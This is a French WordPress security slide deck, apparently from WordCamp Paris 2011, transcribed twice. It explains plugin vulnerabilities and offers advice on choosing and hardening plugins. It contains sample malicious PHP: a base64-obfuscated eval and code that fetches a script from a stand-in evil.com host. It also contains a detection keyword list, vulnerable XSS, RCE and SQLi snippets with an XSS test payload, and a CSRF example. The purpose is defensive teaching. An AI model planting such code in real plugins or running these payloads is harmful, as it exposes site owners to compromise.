WordPress  et la  Sécurité  des  Plugins WordPress Francophone ~ Julio Potier ~ @boiteaweb ~ WordCamp Paris 2011 ~
1) C'est quoi un plugin et comment ça marche ?   2) Pourquoi un plugin peut contenir une vulnérabilité ?   3) Peut-on et comment détecter du code malveillant ?   4) Les différentes failles les plus répandues.   5) Sélection de plugin Sécurité pour votre site. Bonus) Sécuriser WordPress au delà des plugins. WordPress Francophone Sommaire
Un  Plugin  : C'est quoi ? Ensemble de fonctions qui viennent se greffer sur votre site dans le but de l’améliorer ou d’ajouter des fonctionnalités. Et comment ça marche ? Un plugin va utiliser ce qu’on apelle les “hooks” qui signifie “hameçons”. Un hook est un point d’entrée dans une fonction WordPress. WordPress Francophone
Pourquoi un  Plugin  peut contenir une vulnérabilité : #1 Acte volontaire de nuire    #2 Le manque d'information  du développeur #3 L'indifférence  du développeur #4 Nouvelles découvertes de failles #5 Repository WordPress piraté WordPress Francophone
Peut-on et comment détecter du code malveillant ? : Exemples de codes malveillants :   eval( base64_decode( "ZWNobyAkX09QVElPTlNbJ2UnXQ==" ) ); $a='http://www.'; $b='evil'; $c='.com/script.php'; $content = file_get_contents( $a.$b.$c ); $b();   // Équivaut à evil(); WordPress Francophone
Peut-on et comment détecter du code malveillant ? : Exemple de code non caché : WordPress Francophone echo $_GET['e']; // XSS eval( $_GET['e'] ); // RCE $wpdb->query( $_GET['e'] ); // SQLi "eval","base64","rot13","include","require","mail","wp_mail"  Quelques mots-clés :
Comment choisir son  Plugin  : # Regarder le nombre de téléchargements # Lire le Changelog à la recherche de correctifs sécu # Trouver la date de création du plugin  # Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du plugin # Lire les commentaires et avis sur les forums liés # Tester le plugin sur un site test ou en local # Le faire auditer si le doute subsiste WordPress Francophone
Comment choisir son  Thème  : # Regarder le nombre de téléchargements # Lire le Changelog à la recherche de correctifs sécu # Trouver la date de mise à jour du thème # Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du thème # Lire les commentaires et avis sur les forums liés # Tester le thème sur un site test ou en local # Le faire auditer si le doute subsiste WordPress Francophone # Le trouver sur un site sérieux et compétent # Le faire faire par un intégrateur professionnel
Les  failles  les plus répandues : XSS  -  C ross ( X )  S ite  S cripting http://baw.li/dico/XSS WordPress Francophone Bonjour <?= $_GET['log'] ?> !  http://target.com/?log=<script>alert(&quot;This is a XSS vuln for #WCP2011&quot;);</script>
Les  failles  les plus répandues : XSS  -  C ross ( X )  S ite  S cripting http://baw.li/dico/XSS WordPress Francophone <input value=&quot;<?= $opts['log'] ?>&quot; />  $opts = get_option( 'mon_plugin' );
Les  failles  les plus répandues : CSRF  -  C ross ( X )  S ite  R equest  F orgery   http://baw.li/dico/CSRF WordPress Francophone <form> <input name=&quot;option&quot; value=&quot;evil&quot; /> <input type=&quot;submit&quot; /> </form>  Un token sécurité est manquant ! <input name=&quot;_wpnonce&quot; value=&quot;j2u1l1i2op&quot; />
Les  failles  les plus répandues : SQLi  -  S imple  Q uery  L anguage  I njection http://baw.li/dico/sqli WordPress Francophone $wpdb->query( 'SELECT user_login FROM wp_users WHERE user_login = ' . $opts['log'] ); Les requêtes doivent être préparées ! $wpdb->query(  $wpdb->prepare(  'SELECT user_login FROM wp_users WHERE user_login = %s', $opts['log']  )  );
Vidéo Démo WordPress Francophone http://baw.li/1334
Liste non exhaustive de  Plugins # AntiVirus # AskApache Password Protect # BulletProof Security # Secure WordPress et WP Security Scan # Exploit Scanner # Ultimate Security Checker # WordPress Plugin Security Checker # Chap Secure Login # Login Lock # One Time Password # User Role Editor # BackWPUp # Audit Trail # WordPress Firewall (!!!)  WordPress Francophone
Bonus : Sécuriser  WordPress  au delà des  Plugins # Faites des sauvegardes régulières. # Tenez WordPress et ses plugins et thèmes à jour. # Déplacez  wp-config.php  d’un cran dans votre arborescence. # Choisissez un bon mot de passe. # Modifiez le préfixe &quot; wp_ &quot; de votre base de données. # Supprimez le compte “ admin ”. # Ajoutez un “ Options -Indexes ” dans votre .htaccess. # Installer quelques un des plugins cités précédemment. # Cacher le n° de version ? Non ...  WordPress Francophone
Livres
Merci ! WordPress Francophone http://studio-raspail.fr http://wordpress-fr.net http://wp-themes-pro.com http://screenfeed.fr http://seomix.fr http://geekeries.fr @screenfeedfr @rochdaniel @geekeriesfr @wordpress_fr @wp_themes_pro Retrouvez ce slide sur  http://boiteaweb.fr/wcp2011

Wordpress et la sécurité des plugins

  • 1.
    WordPress etla Sécurité des Plugins WordPress Francophone ~ Julio Potier ~ @boiteaweb ~ WordCamp Paris 2011 ~
  • 2.
    1) C'est quoiun plugin et comment ça marche ?   2) Pourquoi un plugin peut contenir une vulnérabilité ?   3) Peut-on et comment détecter du code malveillant ?   4) Les différentes failles les plus répandues.   5) Sélection de plugin Sécurité pour votre site. Bonus) Sécuriser WordPress au delà des plugins. WordPress Francophone Sommaire
  • 3.
    Un Plugin : C'est quoi ? Ensemble de fonctions qui viennent se greffer sur votre site dans le but de l’améliorer ou d’ajouter des fonctionnalités. Et comment ça marche ? Un plugin va utiliser ce qu’on apelle les “hooks” qui signifie “hameçons”. Un hook est un point d’entrée dans une fonction WordPress. WordPress Francophone
  • 4.
    Pourquoi un Plugin peut contenir une vulnérabilité : #1 Acte volontaire de nuire   #2 Le manque d'information du développeur #3 L'indifférence du développeur #4 Nouvelles découvertes de failles #5 Repository WordPress piraté WordPress Francophone
  • 5.
    Peut-on et commentdétecter du code malveillant ? : Exemples de codes malveillants :   eval( base64_decode( &quot;ZWNobyAkX09QVElPTlNbJ2UnXQ==&quot; ) ); $a='http://www.'; $b='evil'; $c='.com/script.php'; $content = file_get_contents( $a.$b.$c ); $b(); // Équivaut à evil(); WordPress Francophone
  • 6.
    Peut-on et commentdétecter du code malveillant ? : Exemple de code non caché : WordPress Francophone echo $_GET['e']; // XSS eval( $_GET['e'] ); // RCE $wpdb->query( $_GET['e'] ); // SQLi &quot;eval&quot;,&quot;base64&quot;,&quot;rot13&quot;,&quot;include&quot;,&quot;require&quot;,&quot;mail&quot;,&quot;wp_mail&quot; Quelques mots-clés :
  • 7.
    Comment choisir son Plugin : # Regarder le nombre de téléchargements # Lire le Changelog à la recherche de correctifs sécu # Trouver la date de création du plugin # Chercher sur Google &quot;security&quot; ou &quot;problem&quot; ou &quot;exploit&quot; ou &quot;faille&quot; suivi du nom du plugin # Lire les commentaires et avis sur les forums liés # Tester le plugin sur un site test ou en local # Le faire auditer si le doute subsiste WordPress Francophone
  • 8.
    Comment choisir son Thème : # Regarder le nombre de téléchargements # Lire le Changelog à la recherche de correctifs sécu # Trouver la date de mise à jour du thème # Chercher sur Google &quot;security&quot; ou &quot;problem&quot; ou &quot;exploit&quot; ou &quot;faille&quot; suivi du nom du thème # Lire les commentaires et avis sur les forums liés # Tester le thème sur un site test ou en local # Le faire auditer si le doute subsiste WordPress Francophone # Le trouver sur un site sérieux et compétent # Le faire faire par un intégrateur professionnel
  • 9.
    Les failles les plus répandues : XSS - C ross ( X ) S ite S cripting http://baw.li/dico/XSS WordPress Francophone Bonjour <?= $_GET['log'] ?> ! http://target.com/?log=<script>alert(&quot;This is a XSS vuln for #WCP2011&quot;);</script>
  • 10.
    Les failles les plus répandues : XSS - C ross ( X ) S ite S cripting http://baw.li/dico/XSS WordPress Francophone <input value=&quot;<?= $opts['log'] ?>&quot; /> $opts = get_option( 'mon_plugin' );
  • 11.
    Les failles les plus répandues : CSRF - C ross ( X ) S ite R equest F orgery   http://baw.li/dico/CSRF WordPress Francophone <form> <input name=&quot;option&quot; value=&quot;evil&quot; /> <input type=&quot;submit&quot; /> </form> Un token sécurité est manquant ! <input name=&quot;_wpnonce&quot; value=&quot;j2u1l1i2op&quot; />
  • 12.
    Les failles les plus répandues : SQLi - S imple Q uery L anguage I njection http://baw.li/dico/sqli WordPress Francophone $wpdb->query( 'SELECT user_login FROM wp_users WHERE user_login = ' . $opts['log'] ); Les requêtes doivent être préparées ! $wpdb->query( $wpdb->prepare( 'SELECT user_login FROM wp_users WHERE user_login = %s', $opts['log'] ) );
  • 13.
    Vidéo Démo WordPressFrancophone http://baw.li/1334
  • 14.
    Liste non exhaustivede Plugins # AntiVirus # AskApache Password Protect # BulletProof Security # Secure WordPress et WP Security Scan # Exploit Scanner # Ultimate Security Checker # WordPress Plugin Security Checker # Chap Secure Login # Login Lock # One Time Password # User Role Editor # BackWPUp # Audit Trail # WordPress Firewall (!!!) WordPress Francophone
  • 15.
    Bonus : Sécuriser WordPress au delà des Plugins # Faites des sauvegardes régulières. # Tenez WordPress et ses plugins et thèmes à jour. # Déplacez wp-config.php d’un cran dans votre arborescence. # Choisissez un bon mot de passe. # Modifiez le préfixe &quot; wp_ &quot; de votre base de données. # Supprimez le compte “ admin ”. # Ajoutez un “ Options -Indexes ” dans votre .htaccess. # Installer quelques un des plugins cités précédemment. # Cacher le n° de version ? Non ... WordPress Francophone
  • 16.
  • 17.
    Merci ! WordPressFrancophone http://studio-raspail.fr http://wordpress-fr.net http://wp-themes-pro.com http://screenfeed.fr http://seomix.fr http://geekeries.fr @screenfeedfr @rochdaniel @geekeriesfr @wordpress_fr @wp_themes_pro Retrouvez ce slide sur http://boiteaweb.fr/wcp2011

Notes de l'éditeur